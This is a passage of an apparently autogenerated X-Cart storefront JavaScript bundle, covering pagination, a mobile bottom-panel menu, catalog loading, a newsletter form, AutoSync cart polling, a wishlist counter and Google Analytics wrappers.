12171/* AUTOGENERATED: pagination.js */ 12172/* vim: set ts=2 sw=2 sts=2 et: */ 12173 12174/** 12175 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 12176 * See https://www.x-cart.com/license-agreement.html for license details. 12177 */ 12178 12179decorate('ListView', 'postprocess', function (isSuccess, initial) { 12180 arguments.callee.previousMethod.apply(this, arguments); 12181 12182 const self = this; 12183 if (isSuccess) { 12184 jQuery('.pages__item-link', this.base).click(function () { 12185 if (this.parentNode.classList.contains('selected')) { 12186 return false;
12187 } else { 12188 const scrollTo = self.base.offset().top - document.getElementById('header-area').getBoundingClientRect().height; 12189 12190 if (window.scrollY > scrollTo + 20) { 12191 jQuery('html, body').animate({ 12192 scrollTop: scrollTo 12193 }); 12194 } 12195 12196 return !self.load({ 12197 'pageId': xcart.getValueFromClass(this, 'page') 12198 }); 12199 } 12200 }); 12201 } 12202});; 12203/* AUTOGENERATED: pager.js */ 12204/* vim: set ts=2 sw=2 sts=2 et: */ 12205 12206/** 12207 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 12208 * See https://www.x-cart.com/license-agreement.html for license details. 12209 */ 12210 12211decorate('ListView', 'postprocess', function (isSuccess, initial) { 12212 arguments.callee.previousMethod.apply(this, arguments); 12213 12214 const self = this; 12215 if (isSuccess) { 12216 jQuery('.pager__showby-list-item-btn', this.base).click(function () { 12217 return !self.load({ 12218 pageId: 1, 12219 itemsPerPage: jQuery(this).data('count') 12220 }); 12221 }); 12222 12223 const root = self.base[0]; 12224 if (root && !root.classList.contains('handled')) { 12225 const labelContainer = root.querySelector('.pager__showby-label-container'); 12226 12227 if (labelContainer) { 12228 labelContainer.addEventListener('click', () => { 12229 labelContainer.classList.toggle('pager__showby-label-container--active'); 12230 }); 12231 12232 root.querySelectorAll('.pager__showby-list-item-btn').forEach(link => { 12233 link.addEventListener('click', () => { 12234 labelContainer.classList.remove('pager__showby-label-container--active'); 12235 }); 12236 }); 12237 } 12238 12239 document.addEventListener('click', (e) => { 12240 if (e.target && !xcart.parents(e.target, '.pager__container').length) { 12241 self.base.find('.pager__showby-label-container--active').removeClass('pager__showby-label-container--active'); 12242 } 12243 }); 12244 12245 root.classList.add('handled'); 12246 } 12247 } 12248});; 12249/* AUTOGENERATED: script.js */ 12250/* vim: set ts=2 sw=2 sts=2 et: */ 12251 12252/** 12253 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 12254 * See https://www.x-cart.com/license-agreement.html for license details. 12255 */ 12256 12257const BottomMenu = function () { 12258 let buttons = []; 12259 12260 const ACTIVE_CSS_CLASS = 'bottom-panel__button--active'; 12261 12262 /** 12263 * Add a button to the bottom panel. 12264 * 12265 * @param {Element} btnDomRoot Button DOM root node. 12266 * @param {object} [options] Options. Possible object keys: 'onActivate', 'onDeactivate', 'onToggle', 'onClick', 12267 * 'toggleable'. 12268 */ 12269 this.addButton = (btnDomRoot, options) => { 12270 if (btnDomRoot) { 12271 options = Object.assign({ 12272 onActivate: null, 12273 onDeactivate: null, 12274 onToggle: null, 12275 onClick: null, 12276 toggleable: true 12277 }, options); 12278 12279 options.domRoot = btnDomRoot; 12280 12281 if (options.onClick) { 12282 btnDomRoot.addEventListener('click', options.onClick); 12283 } 12284 12285 btnDomRoot.addEventListener('click', () => { 12286 if (this.isButtonToggleable(btnDomRoot)) { 12287 this.toggleButton(btnDomRoot); 12288 } 12289 }); 12290 12291 buttons.push(options); 12292 } 12293 }; 12294 12295 /** 12296 * @param {Element|object} button An instance of the inner button object or a button's root DOM node. 12297 * @return {boolean} 12298 */ 12299 this.isButtonActive = (button) => { 12300 const btn = this.findButton(button); 12301 12302 return btn && btn.domRoot.classList.contains(ACTIVE_CSS_CLASS); 12303 }; 12304 12305 /** 12306 * @param {Element|object} button An instance of the inner button object or a button's root DOM node. 12307 * @return {boolean} 12308 */ 12309 this.isButtonToggleable = (button) => { 12310 const btn = this.findButton(button); 12311 12312 if (btn) { 12313 const result = (typeof btn.toggleable === 'function') 12314 ? btn.toggleable() 12315 : btn.toggleable; 12316 12317 return !!result; 12318 } 12319 12320 return false; 12321 }; 12322 12323 /** 12324 * @return Array<Element> 12325 */ 12326 this.getActiveButtons = () => { 12327 let result = []; 12328 12329 buttons.forEach(btn => { 12330 if (this.isButtonActive(btn)) { 12331 result.push(btn.domRoot); 12332 } 12333 }); 12334 12335 return result; 12336 }; 12337 12338 /** 12339 * Find a button by its root DOM node. 12340 * 12341 * @param {Element|object} button An instance of the inner button object or a button's root DOM node. 12342 * @return {object|null} 12343 */ 12344 this.findButton = (button) => { 12345 let result = null; 12346 12347 if (button) { 12348 buttons.forEach(btn => { 12349 if ( 12350 (button.domRoot && button === btn) 12351 || btn.domRoot === button 12352 ) { 12353 result = btn; 12354 } 12355 }); 12356 } 12357 12358 return result; 12359 }; 12360 12361 /** 12362 * @param {Element|object} button An instance of the inner button object or a button's root DOM node. 12363 */ 12364 this.deactivateButton = (button) => { 12365 const btn = this.findButton(button); 12366 12367 if (btn && this.isButtonActive(btn)) { 12368 btn.domRoot.classList.remove(ACTIVE_CSS_CLASS); 12369 12370 if (btn.onToggle) { 12371 btn.onToggle(false); 12372 } 12373 if (btn.onDeactivate) { 12374 btn.onDeactivate(); 12375 } 12376 12377 xcart.trigger('bottom-panel-button-state-deactivated', {button: btn.domRoot}); 12378 xcart.trigger('bottom-panel-button-state-change', {button: btn.domRoot, state: false}); 12379 if (document.activeElement === btn.domRoot) { 12380 btn.domRoot.blur(); 12381 } 12382 } 12383 }; 12384 12385 /** 12386 * @param {Element|object} button An instance of the inner button object or a button's root DOM node. 12387 */ 12388 this.activateButton = (button) => { 12389 const btn = this.findButton(button); 12390 12391 if (btn && !this.isButtonActive(btn)) { 12392 buttons.forEach(aBtn => { 12393 if (aBtn !== btn) { 12394 this.deactivateButton(aBtn); 12395 } 12396 }); 12397 12398 const mobileSearchBackButton = document.querySelector('#mobile_search .simple-search__back'); 12399 if (mobileSearchBackButton) { 12400 const rect = mobileSearchBackButton.getBoundingClientRect(); 12401 12402 if (rect.width > 0 && rect.height > 0) { 12403 mobileSearchBackButton.click(); 12404 } 12405 } 12406 12407 btn.domRoot.classList.add(ACTIVE_CSS_CLASS); 12408 if (btn.onToggle) { 12409 btn.onToggle(true); 12410 } 12411 if (btn.onActivate) { 12412 btn.onActivate(); 12413 } 12414 12415 xcart.trigger('bottom-panel-button-state-activated', {button: btn.domRoot}); 12416 xcart.trigger('bottom-panel-button-state-change', {button: btn.domRoot, state: true}); 12417 } 12418 }; 12419 12420 this.toggleButton = (button) => { 12421 button = this.findButton(button); 12422 12423 if (button) { 12424 if (this.isButtonActive(button)) { 12425 this.deactivateButton(button); 12426 } else { 12427 this.activateButton(button); 12428 } 12429 } 12430 }; 12431 12432 /** 12433 * @param {Element|object} button An instance of the inner button object or a button's root DOM node. 12434 * @param {string} badge Badge inner HTML. 12435 */ 12436 this.setItemBadge = (button, badge) => { 12437 const btn = this.findButton(button); 12438 if (btn) { 12439 let badgeDom = btn.domRoot.querySelector('.bottom-panel__button-badge'); 12440 12441 if (!badge && badgeDom) { 12442 badgeDom.parentNode.removeChild(badgeDom); 12443 } else if (badge) { 12444 if (!badgeDom) { 12445 badgeDom = document.createElement('SPAN'); 12446 badgeDom.className = 'badge bottom-panel__button-badge'; 12447 12448 const icon = btn.domRoot.querySelector('.bottom-panel__button-icon'); 12449 if (icon) { 12450 icon.insertBefore(badgeDom, icon.firstElementChild); 12451 } 12452 } 12453 badgeDom.innerHTML = badge; 12454 } 12455 } 12456 }; 12457 12458 /** 12459 * @param {Element|object} button An instance of the inner button object or a button's root DOM node. 12460 * @param {object} options New button options. Possible object keys: 'onActivate', 'onDeactivate', 'onToggle', 12461 * 'onClick', 'toggleable'. 12462 * @return {boolean} True if options are successfully updated, false otherwise (i.e. button has not found). 12463 */ 12464 this.setOptions = (button, options) => { 12465 button = this.findButton(button); 12466 12467 if (button) { 12468 for (let i = 0; i < buttons.length; i++) { 12469 if (buttons[i] === button) { 12470 if (options.onClick) { 12471 buttons[i].domRoot.removeEventListener('click', options.onClick); 12472 } 12473 12474 buttons[i] = Object.assign(buttons[i], options); 12475 12476 return true; 12477 } 12478 } 12479 } 12480 12481 return false;
12482 }; 12483 12484 this.init = () => { 12485 12486 const homeButton = document.querySelector('.bottom-panel__button--home'); 12487 if (homeButton && !homeButton.hasAttribute('href')) { 12488 this.addButton( 12489 homeButton, 12490 { 12491 toggleable: () => !this.isButtonActive(homeButton) 12492 } 12493 ); 12494 12495 xcart.bind('bottom-panel-button-state-deactivated', (e, data) => { 12496 /* 12497 * We need this because during the button activation process, all the active buttons are deactivated first. 12498 * So, the event is fired when the last active button has been deactivated but the one that will be activated 12499 * has not been activated yet. In this case, it will be assumed that there is no active buttons on the panel, so 12500 * the home button will be activated. And then one more button will also be activated, making it two active 12501 * buttons at the same time in the bottom panel. To avoid it, we postpone the check for the active buttons count 12502 * until the next frame. 12503 */ 12504 requestAnimationFrame(() => { 12505 if ( 12506 (!data.button || data.button !== homeButton) 12507 && BottomMenu.getInstance().getActiveButtons().length === 0 12508 ) { 12509 BottomMenu.getInstance().activateButton(homeButton); 12510 } 12511 }); 12512 12513 homeButton.addEventListener('click', () => { 12514 xcart.dropdown.close(); 12515 MobileMenu.getInstance().close(); 12516 }); 12517 }); 12518 12519 xcart.bind('mobile-menu.opened', () => { 12520 BottomMenu.getInstance().activateButton(homeButton); 12521 }); 12522 } 12523 12524 const catalogButton = document.querySelector('.bottom-panel__button--catalog'); 12525 const mobileCatalog = document.querySelector('.mobile-menu__categories-list'); 12526 if (catalogButton && mobileCatalog) { 12527 this.addButton( 12528 catalogButton, 12529 { 12530 onActivate: () => { 12531 xcart.dropdown.open(mobileCatalog); 12532 }, 12533 onDeactivate: () => { 12534 xcart.dropdown.close(mobileCatalog); 12535 MobileCatalog.getInstance().closeAll(); 12536 }, 12537 toggleable: () => !this.isButtonActive(catalogButton) 12538 } 12539 ); 12540 } 12541 12542 const cartButton = document.querySelector('.bottom-panel__button--cart'); 12543 if (cartButton) { 12544 const isLink = cartButton.tagName.toLowerCase() === 'a'; 12545 let params = { 12546 toggleable: () => ( 12547 !isLink 12548 && (!this.isButtonActive(cartButton) || xcart.getTarget() === 'cart') 12549 ) 12550 }; 12551 12552 if (!isLink) { 12553 if (xcart.getTarget() === 'cart') { 12554 cartButton.addEventListener('click', () => { 12555 xcart.dropdown.close(); 12556 MobileMenu.getInstance().close(); 12557 }); 12558 } else { 12559 params.onActivate = () => { 12560 xcart.dropdown.open('.lc-minicart'); 12561 }; 12562 12563 params.onDeactivate = () => { 12564 xcart.dropdown.close('.lc-minicart'); 12565 }; 12566 } 12567 } 12568 12569 this.addButton(cartButton, params); 12570 12571 xcart.bind('updateCart', (e, data) => { 12572 if (typeof (data.itemsCount) !== 'undefined') { 12573 this.setItemBadge(cartButton, (data.itemsCount <= 9 ? data.itemsCount : '9+')); 12574 } 12575 }); 12576 } 12577 12578 const accountButton = document.querySelector('.bottom-panel__button--account'); 12579 const accountMenu = document.querySelector('.dropdown--account'); 12580 if (accountButton && accountMenu) { 12581 this.addButton( 12582 accountButton, 12583 { 12584 onActivate: () => { 12585 xcart.dropdown.open(accountMenu); 12586 }, 12587 onDeactivate: () => { 12588 xcart.dropdown.close(accountMenu); 12589 }, 12590 toggleable: () => !this.isButtonActive(accountButton) 12591 } 12592 ); 12593 12594 accountButton.addEventListener('click', () => { 12595 if (!xcart.dropdown.isOpened(accountMenu)) { 12596 xcart.dropdown.open(accountMenu); 12597 } 12598 }); 12599 } 12600 }; 12601}; 12602 12603BottomMenu.prototype.instance = null; 12604 12605BottomMenu.getInstance = () => { 12606 if (!BottomMenu.prototype.instance) { 12607 BottomMenu.prototype.instance = new BottomMenu(); 12608 BottomMenu.prototype.instance.init(); 12609 } 12610 12611 return BottomMenu.prototype.instance; 12612}; 12613 12614BottomMenu.getInstance();;
12615/* AUTOGENERATED: catalog.js */ 12616/* vim: set ts=2 sw=2 sts=2 et: */ 12617 12618/** 12619 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 12620 * See https://www.x-cart.com/license-agreement.html for license details. 12621 */ 12622 12623xcart.microhandlers.add( 12624 'MobileCatalogAjaxLoad', 12625 '.bottom-panel__button--catalog[data-ajax-category-id]:not([data-ajax-handled])', 12626 function () { 12627 this.addEventListener('click', () => { 12628 const mobileCatalogContainer = document.querySelector('.mobile-menu__categories-list > .dropdown-menu'); 12629 12630 if ( 12631 !mobileCatalogContainer.querySelector('.mobile-menu__categories') 12632 && !mobileCatalogContainer.querySelector('.top-menu__categories-item--loader') 12633 ) { 12634 const ajaxCategories = AjaxCategories.getInstance(); 12635 12636 ajaxCategories.setLoadingState(mobileCatalogContainer, 'DIV'); 12637 12638 ajaxCategories.loadSubcategories( 12639 parseInt(this.getAttribute('data-ajax-category-id')), 12640 0, 12641 'mobile', 12642 (data) => { 12643 ajaxCategories.unsetLoadingState(mobileCatalogContainer); 12644 this.removeAttribute('data-ajax-category'); 12645 12646 xcart.createDOMTreeFromHTML(data).querySelectorAll('.mobile-menu__categories').forEach( 12647 child => { 12648 mobileCatalogContainer.appendChild(child); 12649 } 12650 ); 12651 12652 MobileCatalog.getInstance().updateMobileMenuList(); 12653 MobileCatalog.getInstance().updateHandlers(); 12654 12655 ajaxCategories.init(); 12656 } 12657 ); 12658 } 12659 }); 12660 12661 this.setAttribute('data-ajax-handled', 'true'); 12662 } 12663);; 12664/* AUTOGENERATED: garage.js */ 12665/* vim: set ts=2 sw=2 sts=2 et: */ 12666 12667/** 12668 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 12669 * See https://www.x-cart.com/license-agreement.html for license details. 12670 */ 12671 12672(() => { 12673 const garageBlock = document.getElementById('my-garage'); 12674 const garageBtn = document.querySelector('.bottom-panel__button--garage'); 12675 12676 if (garageBtn) { 12677 const bottomMenu = BottomMenu.getInstance(); 12678 12679 bottomMenu.addButton( 12680 garageBtn, 12681 { 12682 onActivate: () => { 12683 xcart.dropdown.open(garageBlock); 12684 }, 12685 onDeactivate: () => { 12686 xcart.dropdown.close(garageBlock); 12687 }, 12688 toggleable: () => !BottomMenu.getInstance().isButtonActive(garageBtn) 12689 } 12690 ); 12691 12692 xcart.bind('mobile-menu.opened', () => { 12693 bottomMenu.deactivateButton(garageBtn); 12694 }); 12695 } 12696})();; 12697/* AUTOGENERATED: subscribe.js */ 12698/* vim: set ts=2 sw=2 sts=2 et: */ 12699 12700/** 12701 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 12702 * See https://www.x-cart.com/license-agreement.html for license details. 12703 */ 12704 12705function SubscribeBlockView(base) 12706{ 12707 var args = Array.prototype.slice.call(arguments, 0); 12708 this.callSupermethod('constructor', args); 12709 var s = this; 12710 xcart.bind('changeSuccessMessage', function (event, data) { 12711 if (data && typeof data.message !== 'undefined') { 12712 s.changeSuccessMessage(data.message) 12713 } 12714 }); 12715 12716 // Form 12717 var form = this.base 12718 ? this.base.find('.subscription-form-block form').get(0) 12719 : null; 12720 if (form) { 12721 form.commonController.enableBackgroundSubmit( 12722 undefined, 12723 _.bind( 12724 function(event, result){ 12725 if (result.isValid && result.textStatus === 'success') { 12726 this.processSuccess(); 12727 } else { 12728 this.processError(); 12729 } 12730 }, 12731 this 12732 ) 12733 ); 12734 } 12735} 12736 12737extend(SubscribeBlockView, ALoadable); 12738 12739SubscribeBlockView.autoload = function() 12740{ 12741 jQuery('.subscription-block').each( 12742 function() { 12743 new SubscribeBlockView(this); 12744 } 12745 ); 12746}; 12747 12748// Widget target 12749SubscribeBlockView.prototype.widgetTarget = 'newsletter_subscriptions'; 12750 12751// Widget class name 12752SubscribeBlockView.prototype.widgetClass = '\\XC\\NewsletterSubscriptions\\View\\SubscribeBlock'; 12753 12754SubscribeBlockView.prototype.processSuccess = function() 12755{ 12756 this.base.find('.subscription-form-block').hide(); 12757 12758 this.base.find('.subscription-error-block').hide(); 12759 12760 this.base.find('.subscription-success-block').removeClass('hidden'); 12761 this.base.find('.subscription-success-block').show(); 12762} 12763 12764SubscribeBlockView.prototype.processError = function() 12765{ 12766 this.base.find('.subscription-error-block').removeClass('hidden'); 12767 this.base.find('.subscription-error-block').show(); 12768} 12769 12770// Get event namespace (prefix) 12771SubscribeBlockView.prototype.getEventNamespace = function() 12772{ 12773 return 'NewsletterSubscriptions'; 12774} 12775 12776SubscribeBlockView.prototype.changeSuccessMessage = function (message) { 12777 this.base.find('.subscription-success-block').html(message) 12778} 12779 12780xcart.autoload(SubscribeBlockView);; 12781/* AUTOGENERATED: jquery_footer.js */ 12782/* vim: set ts=2 sw=2 sts=2 et: */ 12783 12784/** 12785 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 12786 * See https://www.x-cart.com/license-agreement.html for license details. 12787 */ 12788 12789// function footer () { 12790// var fh = jQuery('#footer-area').height(); 12791// if (fh > 150) { 12792// jQuery('#page').css('padding-bottom', fh); 12793// } 12794// } 12795 12796function mobileDropdown () { 12797 if (jQuery('#top-menu.dropdown-menu').hasClass('scrollable') == true) { 12798 jQuery('#top-menu.dropdown-menu').removeClass('scrollable').removeAttr('style'); 12799 } 12800 var h1 = jQuery(window).height(); 12801 var h2 = jQuery('#top-menu.dropdown-menu').height(); 12802 var h3 = jQuery('.mobile_header ul.nav-pills').height(); 12803 if (h1 < h2+h3) { 12804 jQuery('#top-menu.dropdown-menu').addClass('scrollable').height(h1-h3); 12805 } 12806} 12807 12808jQuery(function () { 12809 mobileDropdown(); 12810 jQuery(window).resize(mobileDropdown); 12811 jQuery(function () {
12812 jQuery('.top-main-menu a, .top-main-menu .primary-title').on('touchstart', function (e) { 12813 if (jQuery(this).hasClass('tap') !== true && jQuery(this).parent().parent().hasClass('tap') !== true) { 12814 jQuery('ul.tap, a.tap, .primary-title.tap').removeClass('tap'); 12815 } 12816 if (jQuery(this).next('ul').length !== 0) { 12817 jQuery(this).toggleClass('tap'); 12818 if (jQuery(this).hasClass('tap') == true) { 12819 e.preventDefault(); 12820 } 12821 jQuery(this).next('ul').toggleClass('tap'); 12822 } 12823 jQuery(document).on('touchstart', function (e) { 12824 if (jQuery(e.target).closest('.tap').length == 0) { 12825 jQuery('ul.tap, a.tap, .primary-title.tap').removeClass('tap'); 12826 } 12827 }); 12828 }); 12829 }); 12830});; 12831/* AUTOGENERATED: controller.js */ 12832/* vim: set ts=2 sw=2 sts=2 et: */ 12833 12834/** 12835 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 12836 * See https://www.x-cart.com/license-agreement.html for license details. 12837 */ 12838 12839/* global extend, xcart, Base, Checkout, PaymentTplView */ 12840/* global _, jQuery, $ */ 12841/* global affirm */ 12842 12843xcart.bind('affirm.reload', function () { 12844 affirm.ui.ready(function(){ 12845 affirm.ui.refresh(); 12846 }); 12847}); 12848 12849var reloadAffirm = function() { 12850 xcart.trigger('affirm.reload'); 12851}; 12852 12853xcart.bind('loader.loaded', reloadAffirm); 12854xcart.bind('mm-menu.created', reloadAffirm); 12855 12856xcart.registerTriggersBind('update-product-page', reloadAffirm);; 12857/* AUTOGENERATED: autosync_helpers.js */ 12858/* vim: set ts=2 sw=2 sts=2 et: */ 12859 12860/** 12861 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 12862 * See https://www.x-cart.com/license-agreement.html for license details. 12863 */ 12864 12865xcart.getVisualizerContainerId = function () { 12866 if (!xcart.autoSyncContainerId) { 12867 xcart.autoSyncContainerId = xcart.getCommentedData(jQuery('body'), 'autoSyncVisualizerContainerId'); 12868 } 12869 12870 return xcart.autoSyncContainerId; 12871}; 12872 12873xcart.getVisualizerContainerSelector = function () { 12874 return '#' + xcart.getVisualizerContainerId(); 12875}; 12876 12877xcart.getVisualizerContainer = function () { 12878 return $(xcart.getVisualizerContainerSelector()); 12879};; 12880/* AUTOGENERATED: autosync_polling_add_to_cart.js */ 12881/* vim: set ts=2 sw=2 sts=2 et: */ 12882 12883/** 12884 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 12885 * See https://www.x-cart.com/license-agreement.html for license details. 12886 */ 12887 12888function activateAutoSyncPollingAddToCart() { 12889 if (!xcart.autoSyncPollingAddToCartActivated) { 12890 $(function () { 12891 const pollingAddToCart = { 12892 interval: null, 12893 init: function () { 12894 this.interval = setInterval(() => this.sendRequestForAddedProduct(), 1000); 12895 }, 12896 sendRequestForAddedProduct: function () { 12897 const self = this; 12898 12899 xcart.get( 12900 URLHandler.buildURL({ 12901 target: 'auto_sync_cart', 12902 action: 'check_is_product_added' 12903 } 12904 ), 12905 function (data) { 12906 try { 12907 const json = JSON.parse(data.responseText); 12908 if (json) { 12909 self.callAddToCart(json); 12910 } 12911 } catch (error) { 12912 12913 } 12914 }); 12915 }, 12916 callAddToCart: async function (data) { 12917 if (!Array.isArray(data.productData)) { 12918 return; 12919 } 12920 12921 for (const item of data.productData) { 12922 await xcart.post( 12923 URLHandler.buildURL({target: 'cart', action: 'add'}), 12924 null, 12925 { 12926 target: 'cart', 12927 action: 'add', 12928 product_id: item.product_id, 12929 source: 'autosync_visualizer', 12930 amount: item.qty 12931 } 12932 ); 12933 } 12934 } 12935 }; 12936 12937 pollingAddToCart.init(); 12938 }); 12939 12940 xcart.autoSyncPollingAddToCartActivated = true; 12941 } 12942} 12943 12944xcart.microhandlers.add( 12945 'autoSyncVisualizerAddToCartPolling', 12946 xcart.getVisualizerContainerSelector(), 12947 function () { 12948 activateAutoSyncPollingAddToCart(); 12949 } 12950);; 12951/* AUTOGENERATED: autosync_snippet.js */ 12952/* vim: set ts=2 sw=2 sts=2 et: */ 12953 12954/** 12955 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 12956 * See https://www.x-cart.com/license-agreement.html for license details. 12957 */ 12958 12959xcart.microhandlers.add( 12960 'autosync-visualizer-snippet-overlay', 12961 xcart.getVisualizerContainerSelector() + ':not([data-visualizer-manual-start])', 12962 function () { 12963 const $this = $(this); 12964 12965 const isVisualizerIframeLoaded = () => this.querySelector('#autosync-visualizer-iframe'); 12966 12967 if (!isVisualizerIframeLoaded()) { 12968 assignWaitOverlay($this); 12969 12970 const observer = new MutationObserver( 12971 () => { 12972 if (isVisualizerIframeLoaded()) { 12973 unassignWaitOverlay($this); 12974 observer.disconnect(); 12975 } 12976 } 12977 ); 12978 12979 observer.observe(this, {childList: true, subtree: true}); 12980 12981 if (isVisualizerIframeLoaded()) { 12982 unassignWaitOverlay($this); 12983 observer.disconnect(); 12984 } 12985 } 12986 } 12987);; 12988/* AUTOGENERATED: header-widget-common.js */ 12989/* vim: set ts=2 sw=2 sts=2 et: */ 12990 12991/** 12992 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 12993 * See https://www.x-cart.com/license-agreement.html for license details. 12994 */ 12995 12996var wishlistUpdateCountHandler = function (event, data) { 12997 var count = data.count; 12998 var count_container = $('.wishlist-product-count'); 12999 var heart = count_container.siblings('i'); 13000 var old_count = parseInt(count_container.eq(0).text())? parseInt(count_container.eq(0).text()) : 0; 13001 13002 var settings_icon = $('.header_settings'); 13003 var mobile_slidebar_icon = $('.mobile_header-slidebar'); 13004 13005 var indicator = [settings_icon, mobile_slidebar_icon]; 13006 13007 13008 // Change indication 13009 13010 indicator.forEach(function (entry) { 13011 if (count > old_count && !entry.hasClass('recently-updated')) { 13012 entry.addClass('recently-updated'); 13013 } 13014 }); 13015 13016 // Change items count 13017 13018 count_container.html(count); 13019 13020 if (count == 0) { 13021 heart.removeClass('fa-heart-o fa-heart').addClass('fa-heart-o'); 13022 } else { 13023 heart.removeClass('fa-heart-o fa-heart').addClass('fa-heart'); 13024 } 13025 13026 13027}; 13028 13029// Reload on event. it is used when we create profile during wishlist adding 13030xcart.bind('doreloadpage', function () { 13031 self.location.reload(); 13032}); 13033 13034xcart.bind('updateWishlistProductsCount', wishlistUpdateCountHandler); 13035 13036xcart.bind('popup.open', function () { 13037 xcart.autoload(PopupButton); 13038});; 13039/* AUTOGENERATED: ga-core.js */ 13040/* vim: set ts=2 sw=2 sts=2 et: */ 13041 13042/** 13043 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 13044 * See https://www.x-cart.com/license-agreement.html for license details. 13045 */ 13046 13047define('googleAnalytics/base/core', ['js/underscore'], function(_) { 13048 return Object.extend({ 13049 13050 settings: { 13051 sendPageview: true, 13052 currency: 'USD' 13053 }, 13054 13055 constructor: function () { 13056 let $initScript = jQuery('#ga-init-script') 13057 if ($initScript.length) { 13058 this.settings = _.defaults( 13059 $initScript.data('settings'), 13060 this.settings 13061 ) 13062 } 13063 13064 this.initialize() 13065 }, 13066 13067 getSetting (name) { 13068 return this.settings[name] 13069 }, 13070 13071 initialize () { 13072 if (this.settings.sendPageview) { 13073 jQuery().ready(_.bind(this.sendPageViewInit, this)) 13074 } 13075 }, 13076 13077 sendPageViewInit () { 13078 }, 13079 13080 registerPageView () { 13081 }, 13082 13083 registerEvent () { 13084 }, 13085 13086 isAvailable () { 13087 } 13088 }); 13089});; 13090/* AUTOGENERATED: ga-event.js */ 13091/* vim: set ts=2 sw=2 sts=2 et: */ 13092 13093/** 13094 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 13095 * See https://www.x-cart.com/license-agreement.html for license details. 13096 */ 13097 13098define('googleAnalytics/event', [ 'googleAnalytics/core', 'js/underscore' ], function(GACore, _) { 13099 return Object.extend({ 13100 constructor: function () { 13101 this.coreInstance = GACore.instance 13102 13103 this.initialize() 13104 }, 13105 13106 initialize() { 13107 jQuery().ready(_.bind(function () { 13108 this.executeIsBecomesAvailable(this.processReady, 10, 100); 13109 }, this)); 13110 13111 this.bindListeners() 13112 }, 13113 13114 bindListeners () { 13115 _.each( 13116 this.getListeners(), 13117 _.bind( 13118 function (handler, eventName) { 13119 xcart.bind(eventName, _.bind(function (event, params) { 13120 const callback = _.partial(handler, event, params) 13121 this.executeIsBecomesAvailable(callback, 10, 100); 13122 }, this)) 13123 }, 13124 this 13125 ) 13126 ) 13127 }, 13128 13129 executeIsBecomesAvailable(callback, count, delay) { 13130 if (!this.coreInstance.isAvailable()) { 13131 if (count > 0) { 13132 console.log('XCart-GA: waiting for GA', count, this); 13133 _.delay(_.partial(_.bind(this.executeIsBecomesAvailable, this), c
13133allback, count - 1, delay), delay); 13134 } else { 13135 console.warn('XCart-GA: GA not available', callback, this); 13136 callback.apply(this); 13137 } 13138 13139 return; 13140 } 13141 13142 callback.apply(this); 13143 }, 13144 13145 createFunctionWithTimeout (callback, args, opt_timeout) { 13146 var called = false 13147 13148 function fn () { 13149 if (!called) { 13150 called = true 13151 callback(args) 13152 } 13153 } 13154 13155 setTimeout(fn, opt_timeout || 500) 13156 return fn 13157 }, 13158 13159 getListeners () { 13160 return {} 13161 }, 13162 13163 processReady () { 13164 }, 13165 13166 sendPageView () { 13167 this.coreInstance.registerPageView() 13168 }, 13169 13170 sendEvent (name, label, value, namespace) { 13171 this.coreInstance.registerEvent(namespace || this.namespace, name, label, value) 13172 } 13173 }); 13174});; 13175/* AUTOGENERATED: ga-core.js */ 13176/* vim: set ts=2 sw=2 sts=2 et: */ 13177 13178/** 13179 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 13180 * See https://www.x-cart.com/license-agreement.html for license details. 13181 */ 13182 13183define('googleAnalytics/core', ['googleAnalytics/base/core', 'googleAnalytics/mapper', 'js/underscore'], function(GACoreBase, GAMapper, _) { 13184 let GACore = GACoreBase.extend({ 13185 13186 sendPageViewInit () {
13187 GACore.superclass.sendPageViewInit.apply(this, arguments) 13188 13189 xcart.trigger('ga-pageview-sending') 13190 xcart.trigger('ga-pageview-sent') 13191 13192 if ('undefined' != typeof (window.gtag) && this.settings.measurementId) { 13193 gtag('get', this.settings.measurementId, 'session_id', _.bind(this.onSessionIdReceived, this)); 13194 } 13195 }, 13196 13197 sendGTagEvent (action, data) { 13198 if ('undefined' != typeof (window.gtag) && action && !_.isEmpty(data)) { 13199 gtag('event', action, GAMapper.prototype.map(action, data)) 13200 } 13201 }, 13202 13203 onSessionIdReceived (id) { 13204 jQuery.cookie('xcart_ga_session', id); 13205 }, 13206 13207 registerEvent () { 13208 if (!_.isEmpty(arguments)) { 13209 var args = [ 13210 arguments[1] || undefined, 13211 arguments[2] || undefined 13212 ] 13213 this.sendGTagEvent.apply(this, args) 13214 } 13215 }, 13216 13217 isAvailable () { 13218 return !_.isUndefined(window.gaGlobal) 13219 } 13220 }) 13221 13222 GACore.instance = new GACore(); 13223 13224 return GACore; 13225});; 13226/* AUTOGENERATED: ga-mapper.js */ 13227/* vim: set ts=2 sw=2 sts=2 et: */ 13228 13229/** 13230 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 13231 * See https://www.x-cart.com/license-agreement.html for license details. 13232 */ 13233 13234define('googleAnalytics/mapper', ['js/underscore'], function(_) { 13235 return Object.extend({ 13236 13237 map (action, data) { 13238 return data 13239 } 13240 13241 }); 13242});; 13243/* AUTOGENERATED: ga-ec-core.js */ 13244/* vim: set ts=2 sw=2 sts=2 et: */ 13245 13246/** 13247 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 13248 * See https://www.x-cart.com/license-agreement.html for license details. 13249 */ 13250 13251define('googleAnalytics/base/eCommerceCoreEvent', ['googleAnalytics/event', 'js/underscore'], function (GAEvent, _) { 13252 let eCommerceCoreEventBase = GAEvent.extend({ 13253 constructor: function () { 13254 eCommerceCoreEventBase.superclass.constructor.apply(this, arguments) 13255 }, 13256 13257 getActions (type, context) { 13258 if (!jQuery(context).length) { 13259 context = document 13260 } 13261 13262 var actionsOnPage = 